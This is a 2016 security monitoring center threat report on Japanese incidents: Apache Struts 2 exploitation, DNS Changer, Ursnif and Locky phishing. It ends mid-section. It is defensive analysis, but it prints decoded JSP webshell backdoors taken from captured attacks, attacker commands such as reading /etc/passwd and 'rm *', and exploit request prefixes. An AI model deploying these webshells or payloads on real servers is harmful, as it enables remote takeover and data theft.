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1 Preface.  

The Japan Security Operation Center (JSOC) is a security monitoring center operated by 

LAC Co., Ltd. that provides security monitoring services, such as "JSOC Managed Security 

Services (MSS)" and the "24+ Series." The JSOC MSS maximizes the performance of 

security devices through unique signatures and tuning, and our security analysts, with their 

expert knowledge, analyze logs from security devices in real time, 24 hours a day, 365 days 

a year. In this real-time analysis, the security analysts pour over communication packets in 

detail, down to their content level, as well as diagnose whether monitored objects are 

affected and whether there are any vulnerabilities and other potential risks, for every 

occasion, all in order to minimize misreporting from security devices. We help our customers 

to improve their security level by reporting only critical incidents needing an emergency 

response in real time and by taking action against attacks in the shortest time possible. 

 

This is an analysis report on the trend of security incidents, such as unauthorized access 

and malware infection, in Japan, based on the daily analysis results of our JSOC security 

analysts. As this report analyzes the trend of attacks, based on the data of incidents that 

JSOC customers have actually encountered, the report will aid the understanding of world 

trends, as well as the actual threats that Japanese users are currently facing. 

We really hope that this report will provide our customers with useful information that can 

be made full use of when implementing countermeasures to improve security. 

 

Japan Security Operation Center 

Analysis Team 

 

 

 

 

 

 

 

 

 

*  This document is for information purposes only. LAC Co., Ltd. takes no responsibility for any loss resulting from using this 

document. 

*  When using data from this report, be sure to cite the source. (For example, “Source: JSOC INSIGHT, vol. 13, from LAC Co., 
Ltd.”) 

*  The information contained in this document is as of the initial publication of this document and may be changed by the time 
it is viewed or provided. 

  

Data collection period 

April 1, 2016 to June 30, 2016 

Devices used 

This report is based on data from security devices supported by 

the LAC-supplied JSOC Managed Security Services. 
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2 Executive Summary 

This report illustrates an analysis of the trends in the incidents that occurred during the 

collection period and introduces some especially notable threats. 

 

 Spate of Apache Struts 2 vulnerability disclosures 

It was reported in succession that Apache Struts 2 had vulnerabilities that are to be 

addressed urgently. 

No attack that exploits the vulnerability was detected immediately after this was 

disclosed, but such attacks have been detected immediately after a proof-of-concept 

(PoC) code was released. 

To protect against this type of attacks, it is necessary to organize a structure to 

implement countermeasures against the vulnerability quickly, including the update to a 

fixed version. Also, important is to organize a structure to immediately respond to the 

incident. 

 

 Rapid increase in Ursnif infection incidents 

Infection incidents with a malware type called "Ursnif" have occurred many times, 

and various companies and institutions have issued alerts. Typically, Ursnif is infected 

through guidance from an exploit kit, or by opening and executing an attached file in a 

suspicious e-mail. Especially for infection via a suspicious e-mail, the subject and 

body text of the e-mail and its attached file name are often written in Japanese, and 

seemingly, it does not have enough characteristics to conclude that it is a suspicious 

e-mail. 

 

 Increase in suspicious e-mails that lead to ransomware infection 

Suspicious e-mails that lead to ransomware infection have been increasing. The 

statistics of suspicious e-mails received by the JSOC show that such were received 

during a specific period of time, and most of them had an attached file leading to 

malware infection, especially with Locky. The IP address and domain of the C2 server 

used by Locky were updated daily, but it is worth noting that the path part of the URL 

remained the same for a certain period. There is no sign that suspicious e-mails 

causing Ursnif or ransomware infection are decreasing. We should continue to be on 

alert. 
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3 Trends in Severe Incidents at the JSOC 

3.1 Trends in severe incidents 

Our security analysts at the JSOC pour over the logs detected by firewalls, IDS/IPS, and 

sandboxes, and assign one of four incident severity levels according to the nature of 

incident and the degree of impact that the incident has on monitored targets. Of these 

severity levels, "Emergency" and "Critical" indicate severe incidents for which a successful 

attack was confirmed or that the likelihood of damage was assessed to be high. 

Table1 Incident severity levels 

Type Severity Description 

Severe 
incident 

Emergency Incident for which a successful attack is confirmed 

Critical 
Incident for which the likelihood of a successful attack is high 
or for which a failed attempt at an attack is not confirmed 
This indicates that the incident is due to malware infection. 

Reference 
incident 

Warning 
Incident for which a failed attempt at an attack is confirmed or 
no real damage is confirmed 

Informational 
Incident that does not trigger an attack causing any real 
damage and has no significant impact, such as scanning 

 

Figure 1 shows the changes in the number of severe incidents during the collection period 

(from April to June 2016). 

Severe incidents related to attacks from the Internet started increasing from the fourth 

week of April. Many of these attacks attempted to execute a code against Apache Struts 2, 

and some successful attacks were confirmed ((1) in Figure 1). For severe incidents related 

to suspicious internal communication, the period from late April to early May saw an 

increase in the number of malware infection incidents ((2) in Figure 1). In many of the 

incidents, malware was detected, including a DNS Changer that attempted to change a DNS 

server setting, and Ursnif and Bedep, which targeted money or information.
1
 

 

Figure 1 Changes in the number of severe incidents (April to June 2016) 

  

                                                   
 
1
  "2.2 Sharp Increase in Bedep infection incidents" in Section 1 of JSOC INSIGHT vol. 12 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf 
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http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf
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3.2 Analysis of severe incidents 

Figure 2 shows a breakdown of severe incidents related to attacks from the Internet. 

The number of severe incidents related to attacks from the Internet decreased to half of 

that during the previous collection period. Those that especially decreased were SQL 

injection attacks
2
 detected in many incidents between middle January and early February 

2016 that attempted to reconfigure Microsoft SQL Server ([1] in Figure 2), along with attacks 

that exploited Apache Commons Collections ([2] in Figure 2). 

In the middle of April, a new Apache Struts 2 vulnerability was disclosed.
3
 No attack that 

exploits the vulnerability was detected immediately after the disclosure, but after a PoC code 

was released late in April, attacks were detected, and many of them led to severe incidents. 

Section 4.1 elaborates on this type of attack. 

There was no change in the trend of severe incidents due to a misconfiguration of 

services, such as DNS, NTP, or SNMP, which were easier to be exploited by reflection 

attacks. These different types of misconfigurations were confirmed for different hosts. We 

guess that a major reason for these types of misconfigurations is that administrators do not 

fully check for unintentionally running services when installing a new network or IoT device. 

  

a. January to March               b. April to June 

Figure 2 Breakdown of severe incidents related to attacks from the Internet 
 

Figure 3 shows a breakdown of severe intra-network incidents. 

Malware infection incidents have been increasing, and the number (156 incidents) was 

approx. 24% higher than that during the previous collection period. As mentioned in Section 

3.1, malware infections, such as those with a DNS Changer ([1] in Figure 3), Ursnif ([2] in 

Figure 3), and Bedep were detected numerous times. DNS Changer incidents are described 

in 3.3.1, while Ursnif incidents are described in 4.2. 

                                                   
 
2
  "1.2 Breakdown of severe incidents" in Section 1 of JSOC INSIGHT vol. 12 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf 
3
 Apache Struts 2 Documentation S2-032 

https://struts.apache.org/docs/s2-032.html 

SQL injections 
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SQL injections 
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s 
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XSS 
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Others 
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File upload 
(FTP) 
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File upload 
(HTTP) 

5 incidents 

Apache 
Commons 
Collections 
4 incidents 

Heart Bleed 
4 incidents 

Apache Struts 
20 incidents 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf
https://struts.apache.org/docs/s2-032.html
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a. January to March            b. April to June 

Figure 3 Breakdown of severe intra-network incidents 

 

3.3 Attack traffic detected numerous times 

This section introduces the suspicious traffic that requires attention, along with attacks 

from the Internet that were detected more frequently during the collection period, although 

they did not cause serious damage. 

3.3.1 DNS Changer that attempts to change a DNS server setting at a terminal 

infected with it 

DNS Changer is a malware type that attempts to change a DNS server setting at a 

terminal infected with it, as shown in Figure 4. If a DNS server setting at a terminal is 

changed to a value that is not originally intended by the user, the terminal user may be 

guided to a false site, etc., through incorrect name resolution. 

 

 

(a) Before infection                (b) After infection 

Figure 4 Comparison of DNS server configuration before and  
after DNS Changer infection 

  

Citadel 
149 incidents 

Bedep 
134 incidents 

Total 
654 

incidents 

ET Trajan 
131 incidents 

External host 
port scan 

33 incidents 

Targeted attacks 
32 incidents 

 

PlasmaRAT 
28 incidents 

Others 
125 incidents 

Ursnif 
22 incidents 

 

 
Total 
810 

incidents 

Ursnif 
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Figure 5 shows the number of severe incidents due to DNS Changer infection during the 

collection period. 

As the JSOC confirmed new traffic generated when a terminal was infected with DNS 

Changer, the JSOC created a JSOC original signature (JSIG) and applied it to devices in the 

middle of April. This exposed the terminals at customers of various sectors that were infected 

with DNS Changer. 

The traffic detected does not contain any detailed information that can identify the infection 

route, but the JSOC conducted its own verification and confirmed a DNS Changer infection 

incident occurred through a RIG Exploit Kit. The RIG Exploit Kit is known to exploit a 

vulnerability in Internet Explorer, Oracle Java, Adobe Flash Player, and Silverlight, etc. 
 

 

Figure 5 Number of severe incidents due to DNS Changer infection 
 

Figure 6 shows an example of traffic generated from a terminal infected with DNS Changer. 

Typically, a terminal infected with DNS Changer generates HTTP traffic by connecting to a 

Command and Control server (hereinafter, a “C2 server”) while employing a URI using a 

HEAD request starting with “/u/”. The HTTP traffic contains infected terminal information and a 

character string of obfuscated DNS information used by DNS Changer. 
 

 
Figure 6 Example of traffic generated from a terminal infected with DNS Changer 
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■：Character string of obfuscated OS and other information  
in the infected terminal 

▲：Character string of obfuscated DNS and other information  
used by the malware 

●：Number likely used to identify the infected terminal 
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Table 2 shows the destinations of traffic generated from a terminal infected with DNS Changer. 

The JSOC found multiple C2 server domains, but all of their associated IP addresses were 

"185.17.184.11". 

 

Table 2 Destinations of traffic generated from a terminal infected with DNS Changer 

Destination IP address Destination domain name 

 

 

 

 

185.17.184.11 

big4u.org 

deris.info 

heato.info 

legco.info 

listcool.info 

listcool.net 

monoset.info 

ough.info 

yelts.net 

 

As mentioned above, one DNS Changer infection route involves Exploit Kit. Therefore, to 

prevent DNS Changer infection, it is important to keep applications that can be attacked by 

Exploit Kit up-to-date,
4
 such as Internet Explorer, Java, Adobe Flash Player, and Silverlight. 

In addition, using anti-virus software and installing EMET provided by Microsoft for free are 

also effective measures against DNS Changer infection. 

 

Past detection experience at the JSOC shows that alternatively, it is also possible to 

check for DNS Changer infection by using the following methods. 

 

⃞ Check that the DNS server setting at the terminal has not been changed to an 

unintended value. 

⃞ Use the proxy log to check that no HEAD method traffic as shown in Figure 6 is sent to 

any destination domain with 185.17.184.11. 

 

 

  

                                                   
 
4
 "2.2.4 How Bedep infections occur, with countermeasures" in JSOC INSIGHT vol.12 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf


 

Copyright© 2017 LAC Co., Ltd. All Rights Reserved.                                                                        JSOC INSIGHT vol.13     9 
 

3.3.2 Attacks from the Internet that were detected numerous times 

 Table 3 shows the attack types from the Internet that were detected the most during the 

collection period. These types of attacks are not targeted attacks but indiscriminate attacks. 

 

Table 3 Attack traffic from the Internet that has been detected numerous times 

Attack type JSOC detection Detection period 

Shellshock attack 

that attempts 

infection via an 

IRC bot 

This type of attack, which exploits a Shellshock 

vulnerability to aid in infection via an IRC bot, was 

detected many times. However, most of the attacks 

did not lead to infection via an IRC bot, even if a 

vulnerability exists, as the attacks failed to download 

the file on which the IRC bot was based. 

We guess that an attacker repeatedly used the 

same request without maintaining the attack code 

even after taking down a server used to distribute 

the IRC bot. 

Middle of May 

Attack that 

attempts to read 

/etc/passwd 

This type of attack, which exploits server 

misconfiguration to read /etc/passwd, was detected 

continually and many times, recording attacks over 

100 times more than usually detected. 

The origins of the attacks were IP addresses 

assigned to various countries, but the detected 

times and contents of the attacks were similar, thus 

the same attacker might use a botnet. 

Late April 

Late June 

Attack that 

attempts to read 

important 

information from 

shopping cart 

systems 

This type of attack, which attempts to read important 

information from multiple shopping cart systems 

(such as DCShop and PDG Cart), was detected 

many times. This type of attack was seen most 

during a specific period of time, and almost no attack 

was detected outside of that period. 

 

File names that were accessed: 

/bin/DCShop/auth_data/auth_user_file.txt 

/PDG_Cart/shopper.conf 

/Admin_files/order.log 

June 14–16 
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4 Topics of This Volume 

4.1 Spate of Apache Struts 2 vulnerability disclosures 

4.1.1 Vulnerabilities overview 

During the collection period, it was reported in succession that the Java Web application 

framework, "Apache Struts 2," had vulnerabilities to be urgently addressed.
5
 All of these 

vulnerabilities allow any code to be executed by allowing the OGNL (Object Graph 

Navigation Language) expression to be executed externally. (The OGNL expression is used 

to call a Java object.) A PoC code and attack tool for these vulnerabilities have been 

released, and it has been confirmed that these vulnerabilities can be exploited easily. 
 

Table 4 Overview of highly urgent vulnerabilities (released between April and June) 

Apache Struts Advisory 

and CVE (Common 

Vulnerabilities and Exposures) 

S2-032 (CVE-2016-3081) 

S2-033 (CVE-2016-3087) 

S2-037 (CVE-2016-4438) 

Affected version Apache Struts 2.3.20 - 2.3.28.1 

Vulnerability-fixed version Apache Struts 2.3.29 

Reference URL 

Apache Struts 2 Documentation 

https://struts.apache.org/docs/s2-032.html 

https://struts.apache.org/docs/s2-033.html 

https://struts.apache.org/docs/s2-037.html 
 

4.1.2 Example of attack traffic detected that exploits a vulnerability (S2-032) 

A vulnerability (S2-032) in Apache Struts 2 was disclosed by its developer in this April. 

After one week or so passed from the disclosure, validation reports about the vulnerability 

appeared, mainly on Chinese websites. The JSOC detected an attack against the 

vulnerability on the day when it found that such a validation report was released. Then, a 

tool that allowed the vulnerability to be exploited more easily was released, and there were 

changes in the contents of the attacks detected. To respond to this ever-changing situation 

in a timely manner, the JSOC took urgent measures, including the disclosure of information 

about the vulnerability
6
 and the creation and application of a JSIG. Table 5 roughly shows 

how the situation changed with time, along with the measures taken by the JSOC. 

                                                   
 
5
  Apache Struts 2 Documentation Security Bulletins 

https://struts.apache.org/docs/security-bulletins.html 
6
  Increase in attacks against Apache Struts 2 DMI and damage confirmed 

http://www.lac.co.jp/blog/category/security/20160428.html 

https://struts.apache.org/docs/security-bulletins.html
http://www.lac.co.jp/blog/category/security/20160428.html
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Table 5 S2-032-related response by the JSOC 

Around April 20 The Apache Software Foundation disclosed the vulnerability. 

April 26, evening 
PoC codes were released, mainly on Chinese websites. 

The JSOC started detecting attacks against the vulnerability. 

April 27 The JSOC sustained a severe incident and confirmed a 

successful attack. 

April 28 The JSOC issued an alert and disclosed information about 

the vulnerability. 

 

Around April 20, the Apache Software Foundation disclosed information about a code 

execution vulnerability (S2-032) in the Apache Struts 2 DMI (Dynamic Method Invocation) 

feature, and released a fixed version. However, no PoC code was released at this point. 

 

From the evening of April 26, multiple PoC codes were released, mainly on Chinese 

websites, and then, before dawn on April 27, a service that could be used to check for the 

vulnerability via the Web and a GUI-based attack tool were disclosed (Figure 7). Validation 

at the JSOC confirmed that these attacks would allow any code to be remotely executed on 

a host running a vulnerable Apache Struts 2 version (Figure 8). 
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(a) Website releasing a PoC code 

 

(b) Service checking for vulnerability over the Web 
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(c) Attack tool (1) 

 

(d) Attack tool (2) 

Figure 7 S2-032 PoC code and attack tools 
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Figure 8 Traffic contents available with a S2-032 PoC code 

 

From the evening of April 26 when PoC codes and other information were released, the 

JSOC started detecting attacks that exploited the S2-032 vulnerability. Many of the attacks 

detected displayed a Web application execution path or an OS command execution result, 

and their purpose seemed to investigate a target host for vulnerabilities. However, some 

attacks not only displayed an OS command execution result, but also attempted to create or 

delete a file through redirection or with an OGNL expression. If such an attack succeeds, the 

target host would actually be damaged. Table 6 shows some OS commands confirmed by 

the JSOC that might be executed. 

 

Table 6 Some OS commands detected that might be executed 

netstat id sleep 

whoami cat /etc/passwd rm * 

 

In addition to these attacks, the JSOC also detected an attack that attempted to create a 

backdoor (Figure 9, Figure 10). Table 7 shows a backdoor file name detected by the JSOC. 

  

An OS command execution is included 
in the response. 

 

Any OS command to be 
executed is included here. 
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(a) Session data (partial) 

 

 

(b) Decoding result of the portion enclosed by a red rectangle 

Figure 9 Request that attempts to create a backdoor (1) 

 

 

 

<%@page import="java.io.*"%> 
<%@page import="sun.misc.BASE64Decoder"%> 
<% 

try { 
String cmd = request.getParameter("tom"); 
String path=application.getRealPath(request.getRequestURI()); 

String dir=new File(path).getParent(); 
if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");} 
byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd); 

String k8cmd = new String(binary); 
Process child = Runtime.getRuntime().exec(k8cmd); 
InputStream in = child.getInputStream(); 

out.print("->|%2 

Uses the value of the argument tom to display 

the directory where a Web application is located; 

any command can be executed. 
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(a) Session data (partial) 

 

 

(b) Decoding result of the portion enclosed by a red rectangle 

Figure 10 Request that attempts to create a backdoor (2) 

 

Table 7 Some confirmed file names used in attacks 

one.jsp cmd.jsp nimabi.jsp 

 

On April 27, the next day after it started detecting attacks, the JSOC confirmed a severe 

incident where an attack exploiting the vulnerability succeeded. Figure 11 and Figure 12 

show the contents of the actual attack traffic detected. The JSOC confirmed that the traffic of 

these attacks originated from the same IP address and that they attempted to execute an 

OS command (such as whoami or ls), in response to which an execution result was 

returned. 

 

<% 
if(request.getParameter("f")!=null) 
(new java.io.FileOutputStream(application.getRealPath("/")+ 

request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%> 
<a href="One_OK"></a> 

If argument f is set,  

any file can be created directly under 
the Web application directory. 
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Figure 11 Example of traffic confirming that a whoami command has been executed 
 

 

(a) Attack request 
 

 

(b) Response from the target host 

Figure 12 Example of traffic confirming that an ls command has been successfully 

executed 

  

OS command execution attempted here 

 

whoami execution result displayed 

OS command execution attempted here 
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The traffic shown in Figure 11 has a structure that is very similar to the request in the 

released PoC code shown in Figure 8, thus it is guessed that the attack is based on the PoC 

code. On the other hand, even if attacks originated from the same origin, the attacks shown 

in Figure 11 and Figure 12 have different request structures. In this case, it is guessed that 

the attacks used different PoC codes for attacking in order to make success more likely. 

 

In a series of attacks against a vulnerable host from the same origin, a request that 

attempted to create a backdoor was detected approx. 25 minutes after detecting traffic used 

to investigate the target for vulnerabilities. The time it took to successfully exploit the 

vulnerability after discovering the vulnerable host was very short, which strongly reminded 

us of the importance of taking proactive measures based on vulnerability information and 

quick response in the case of an incident. 

 

4.1.3 S2-033 and S2-037 vulnerabilities 

From around early June, vulnerabilities (S2-033 [CVE-2016-3087], S2-037 

[CVE-2016-4438]) in the REST plugin for Apache Struts 2 were disclosed in succession. 

These vulnerabilities also allow for an OGNL expression to be executed externally so as to 

execute any code, much like S2-032 described in 4.1.2. 

 

As the vulnerabilities exist in the implementation of REST (Representational State 

Transfer), which is a type of Web architecture, in Apache Struts 2, they have an effect if the 

REST plugin is used. S2-033 has the effect when DMI is enabled, and S2-037 has an effect 

regardless of whether DMI is enabled or not. Note that S2-037 is a complement to an 

incomplete modification implemented by S2-033. An execution result of a S2-037 PoC code 

(Figure 13) shows that an OS command in the request is executed and that an execution 

result is included in the response. 
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Figure 13 Example of an attack that exploits S2-037 

 

The code used for attacking is the same between S2-033 and S2-037, which is a 

complement to S2-033. As shown in Table 8, a notable difference between them only exists 

in the top of the URL path, that is, whether the character immediately followed by 

"%23_memberAccess" is "!" or "/" (the portion enclosed by a red rectangle in Figure 13). 

 

Table 8 Difference between requests that attempt to exploit vulnerabilities 

Vulnerability Request top 

S2-033 ! %23_memberAccess 

S2-037 /%23_memberAccess 

/(%23_memberAccess 

S2-032 (reference) ?method:%23_memberAccess 

 

  

OS command execution attempted here 



 

Copyright© 2017 LAC Co., Ltd. All Rights Reserved.                                                                        JSOC INSIGHT vol.13     20 
 

4.1.4 Measures for S2-032, S2-033, and S2-037 

Table 9 shows the relationship between these vulnerabilities and the combination of 

settings, while Table 10 shows a version available for fixing each of the vulnerabilities. 

Whether each vulnerability has an effect complicatedly depends on the combination of 

settings in Apache Struts 2 and its version. If you are using an affected Apache Struts 2 

version or an indicated combination of settings, it is necessary to take fundamental 

measures by updating Apache Struts 2 to a fixed version as quickly as possible or to change 

the DMI and REST settings. 

 

Table 9 Vulnerabilities and the combination of settings 

DMI and REST settings S2-032 S2-033 S2-037 

DMI enabled, REST enabled 
Vulnerable 
version available 

Vulnerable 
version available 

Vulnerable 
version available 

DMI disabled, REST enabled No effect No effect 
Vulnerable 
version available 

DMI enabled, REST disabled 
Vulnerable 
version available No effect No effect 

DMI disabled, REST disabled No effect No effect No effect 

 

Table 10 Vulnerabilities and fixed-version availability 

Version S2-032, S2-033 S2-037 

2.3.20–2.3.28 
(excluding 2.3.20.3, 2.3.24.3, and 2.3.28.1) 

Vulnerable Vulnerable 

2.3.20.3, 2.3.24.3, 2.3.28.1 No effect Vulnerable 

2.3.29 No effect No effect 
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4.2 Rapid increase in Ursnif infection incidents 

From this April, the JSOC detected many infections with a malware type called "Ursnif" 

(also known as "Gozi"). Ursnif is a malware type that attempts to steal credit card- or 

financial institution-related information, and if an infection is present, it may lead to 

unauthorized money transfer due to the leakage of Internet banking information, etc., or 

credit card abuse due to stolen credit card information. The Japan Cybercrime Control 

Center (JC3) issued an alert
7
 on June 14 such that Ursnif infections have been spreading, 

which might lead to increasing damage. On June 15, LAC also issued an alert such that 

Ursnif was rampant.
8
 

4.2.1 Ursnif infection routes 

Figure 14 shows the number of Ursnif-related incidents. 

 

Figure 14 Number of Ursnif-related incidents 

  

Through past detection, the JSOC has confirmed that Ursnif infection has occurred 

through guidance from an exploit kit, or by opening and executing an attached file in a 

suspicious e-mail. A different case was also reported such that a terminal was ultimately 

infected with Ursnif via a downloader.
9
 The JSOC also detected an incident such that a 

terminal appeared to be infected with Bedep
10

 and then with Ursnif. 

                                                   
 
7
  Alert on Damage that May be Caused by the Internet Banking Malware "Gozi" 

https://www.jc3.or.jp/topics/gozi.html 
8
  Ursnif (also known as Gozi) Rampant Since March 

http://www.lac.co.jp/blog/category/security/20160615.html 
9
  Spread of New Malware, "URSNIF," which Targets Net Banking in Japan 

http://blog.trendmicro.co.jp/archives/13471 
10

  "2.2 Sharp Increase in Bedep infection incidents" in JSOC INSIGHT vol.12 

http://www.lac.co.jp/security/report/pdf/20160617_jsoc_j001f.pdf 
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http://www.lac.co.jp/blog/category/security/20160615.html
http://blog.trendmicro.co.jp/archives/13471
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It is worth noting that some suspicious e-mails confirmed this time had Japanese body 

text and an attached file name. Such e-mails were not filtered out by the spam filter in the 

e-mail system, and the attached file was opened and executed. 

Table 11 shows examples of suspicious e-mails detected to have an Ursnif attachment. 

The subjects and body text of the suspicious e-mails and their attached file names are all 

written in Japanese, and the top-level domain in one of the sender's e-mail addresses is ".jp". 

Thus, seemingly, the e-mail systems do not receive enough identifying characteristics to 

conclude that these are suspicious e-mails. 

 

Table 11 Examples of suspicious e-mails with Ursnif attachments (partial) 

(a) Fake Amazon JP e-mail 

Sender Amazon JP" <druminsmite＠●●.pl >" 

Subject 
Amazon.co.jp お支払いの確認 

(en: Amazon.co.jp confirmation of payment) 

Attached file name 
お支払いの確認 xxx-yyyyyyy-zzzzzzz.zip 

(en: Confirmation of payment xxx-yyyyyyy-zzzzzzz.zip) 

 

 (b) Fake work report e-mail 

Sender  <xpybk563a＠●●.ne.jp> 

Subject 
作業日報 

(en: Daily work report) 

Attached file name PPT1-06_08_pdf.ppt.zip 

 

In addition to the suspicious e-mails shown in Table 11, Japan Post Co., Ltd. and Yamato 

Transport Co., Ltd. also issued alerts on similar suspicious e-mails on June 7, 2016
11

 and 

June 29,
12

 respectively. As the times that these alerts were issued fall within the period 

when Ursnif-related severe incidents were increasing ((1) and (2) in Figure 14), it is guessed 

that the attached file in such a suspicious e-mail provided the means for an Ursnif infection 

route. 

  

                                                   
 
11

  Alert on Suspicious E-mails Spoofing Japan Post  

http://www.post.japanpost.jp/notification/notice/2016/0607_01.html 
12

  Alert on Suspicious E-mails Spoofing Yamato Transport with File Attachment 

http://www.kuronekoyamato.co.jp/info/info_160629.html 

http://www.post.japanpost.jp/notification/notice/2016/0607_01.html
http://www.kuronekoyamato.co.jp/info/info_160629.html
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4.2.2 Ursnif-infected traffic 

Figure 15 shows an example of HTTP traffic detected when such was infected with Ursnif. 

It has been confirmed that traffic from a terminal infected with Ursnif has the following 

characteristics. 

 

- The request has a long URL path part of 150 characters or more. 

- The path part of the URL starts with "/images/". 

- If the request uses the GET method, the file extension of the destination is ".jpeg" or 

".gif". 

- If the request uses the POST method, the file extension of the destination is ".bmp", and 

a file with an extension of ".bin" is sent from the POST data portion. 

 

 
Figure 15 Suspicious HTTP traffic detected when it is infected with Ursnif 

 

The file with the ".bin" extension written in the POST data portion is created in the infected 

terminal. The created file is a ZIP-compressed text file and has the following contents.
13

 

 

- URL accessed during infection 

- Accessed folder name 

- Window title of an executable file 

Others  

                                                   
 
13

  URSNIF Data Theft Malware Shared on Microsoft OneDrive 

https://www.netskope.com/blog/ursnif-data-theft-malware-shared-on-microsoft-onedrive/ 

Starts with "/images/" 

If the POST method is used, the request 
is sent with a file with the ".bmp" 
extension. 

 

A file with the "bin" extension 
is sent. 

 

https://www.netskope.com/blog/ursnif-data-theft-malware-shared-on-microsoft-onedrive/
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4.3 Increase in suspicious e-mails that lead to ransomware infection 

4.3.1 State of suspicious e-mails received at the JSOC 

After the year of 2016 began, suspicious e-mails that lead to ransomware were increasing, 

and these will encrypt multiple types of files in a terminal if an attached file is executed. 

Especially, a ransomware type called "Locky" confirmed as being active from this February 

has been spreading, as e-mails with an attached file that leads to infection were dispersed in 

large volume.
14

 The JSOC also have received many suspicious e-mails that lead to Locky, 

from March 14. This section describes the trend of suspicious e-mails around the collection 

period from March to June 2016. 

 

Figure 16 shows the types of suspicious e-mails with attached files received at the JSOC 

and changes by week in the number. 

Most files attached are ZIP-format compressed JavaScript files, and also confirmed are 

RAR-format compressed files and MS Word document files with a macro (.DOC or .DOCM). 

The JSOC received as many as 40 suspicious e-mails or so a day at the most, which led 

to Locky, but it also saw periods with no suspicious e-mails, as shown as (1) in Figure 16 

and (2) in Figure 16. On one day in May, immediately before the period shown as (2) in 

Figure 16, 50 people alleged to be a group financial fraudsters were arrested in Russia,
15

 

and it is reported that the activities of Locky, Dridex (a trojan that attempts to steal bank 

information),
16

 Angler Exploit Kit (an exploit kit), and the Necurs botnet
17

 rapidly stagnated. 

During the period of (2) in Figure 16, the JSOC did not receive any suspicious e-mail that led 

to Locky, thus the activities of Locky and Dridex seem to affect that of the Necurs botnet. 

 

 

                                                   
 
14

  Ransomware Locky, Increasing Attacks Against Victims 

http://www.symantec.com/connect/blogs/locky 
New Multi-Language Ransomware "Locky" Also Spreading In Japan 

http://blog.trendmicro.co.jp/archives/12894 
15

  Locky, Dridex, and Angler among cybercrime groups to experience fall in activity 

https://www.symantec.com/connect/blogs/locky-dridex-and-angler-among-cybercrime-groups-experience-fall-activity 
16

  Why is Locky Dangerous? 

http://www.barracuda.co.jp/column/detail/556 
Locky: Apparently Bad Behavior 

http://blog.f-secure.jp/archives/50763628.html 
17

  Connecting the Dots Reveals Crimeware Shake-up 

http://blog.talosintel.com/2016/07/lurk-crimeware-connections.html 

http://www.symantec.com/connect/blogs/locky
http://blog.trendmicro.co.jp/archives/12894
https://www.symantec.com/connect/blogs/locky-dridex-and-angler-among-cybercrime-groups-experience-fall-activity
http://www.barracuda.co.jp/column/detail/556
http://blog.f-secure.jp/archives/50763628.html
http://blog.talosintel.com/2016/07/lurk-crimeware-connections.html
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Figure 16 Changes in the number of suspicious e-mails received at the JSOC  

(March to June) 

 

Figure 17 shows changes by time period in the number of received suspicious e-mails. 

These suspicious e-mails were sent out at different time zones between -07:00 and 

+09:00, but many of them were actually received between 18:00 and 06:00, Japan time. 

 

 
Figure 17 Changes by time period in the number of suspicious e-mails received  

at the JSOC (March to June) 
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Figure 18 shows the relationship between the received time and date of the suspicious 

e-mails and the created time and date of their attached files. 

If the creation time stamp of an attached JavaScript file indicates the daytime, the e-mail 

with the attachment is usually sent in the evening of the same day. If the creation time stamp 

indicates the nighttime, the e-mail is usually sent in the early morning of the next day. 

As shown in Figure 16 and Figure 17, the JSOC received more suspicious e-mails during 

weekday evenings, and no or less in Saturdays and Sundays except for early Saturday 

evenings. It seems that the attacker understands the common work times in Japan. In the 

morning, an employee at a company or another organization will check the contents of 

e-mails received before business hours, and he or she may carelessly open a suspicious 

e-mail in their batch of e-mails. 

The examples in Figure 18 show that the attacker created and sent different suspicious 

e-mails for the daytime and nighttime. It is worth noting that suspicious e-mails like these are 

not sent on Saturdays, Sundays, or during work hours in Japan. It seems that the attacker 

has holidays on Saturdays and Sundays as is the case with an ordinary company, as well as 

a work shift between the daytime and nighttime. Otherwise, two or more groups may keep 

the same e-mail address list so as to send suspicious e-mails at different times. 
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(a) File created during a daytime 

 

 (b) File created during the nighttime 

Figure 18 Relationship between the received time and date of suspicious e-mails  
and the created time and date of their attached files 

  

Created time and date of the ransomware file 

Received time and date of the e-mail 

If the ransomware file was 

created during the daytime, the 

suspicious e-mail is usually 

received between the evening 

and midnight. 

Created time and date of the ransomware file 

Received time and date of the e-mail 

If the ransomware file was created 

during the nighttime, the 

suspicious e-mail is usually 

received early morning. 
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Figure 19 shows the types of malware that suspicious e-mails received at the JSOC 

attempt to lead users to. 

Many suspicious e-mails received during the collection period from March to June 

attempted to lead to Locky, and the same attacker seems to have sent suspicious e-mails 

continually from March. It is also confirmed that some suspicious e-mails attempted to lead 

to a downloader (that attempted to download another malware type) or Dridex. 

 

 

 

Figure 19 Types of malware that suspicious e-mails received at the JSOC attempt  
to lead users to (March to June) 

 

In addition to the above trends found at the JSOC, it is also disclosed that there were 

e-mails spoofing a courier
18

 or bank, and that e-mails containing Japanese text relaying info 

such as "annual leave application"
19

 or "contract document" in the subject or body text were 

sent out so as to promote Ursnif infection as described in Section 4.2. The JSOC did not 

receive any suspicious e-mail other than those leading to Locky or Dridex, and it seems that 

these attackers are different from the attacker that attempted to lead to Ursnif infection. 

 

  

                                                   
 
18

  Japanese Spam E-mails Found in Succession that Attempt to Lead to Banking Trojan "Bebloh" 

http://canon-its.jp/eset/malware_info/news/160630_2/ 
19

  Spread of New Malware, "URSNIF," which Targets Net Banking in Japan 

http://blog.trendmicro.co.jp/archives/13471 

Total 
532 

incidents 

http://canon-its.jp/eset/malware_info/news/160630_2/
http://blog.trendmicro.co.jp/archives/13471
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4.3.2 Received suspicious e-mail and examples of Locky ransomware infection 

Figure 20 shows an example of a suspicious e-mail received at the JSOC. 

The JSOC received e-mails with no or short English body text, and with an attached file 

that led to malware. 

 

 

Figure 20 Suspicious e-mail with an attached file, received at the JSOC 

 

A ZIP- or RAR-format file attached to such a suspicious file is expanded into one or more 

files. These files are confirmed to have an extension of ".js" (JavaScript file). 

The contents of the JavaScript file are obfuscated, and it is difficult to interpret the 

contents. As shown as (a) in Figure 21 and (b) in Figure 21, there are multiple obfuscation 

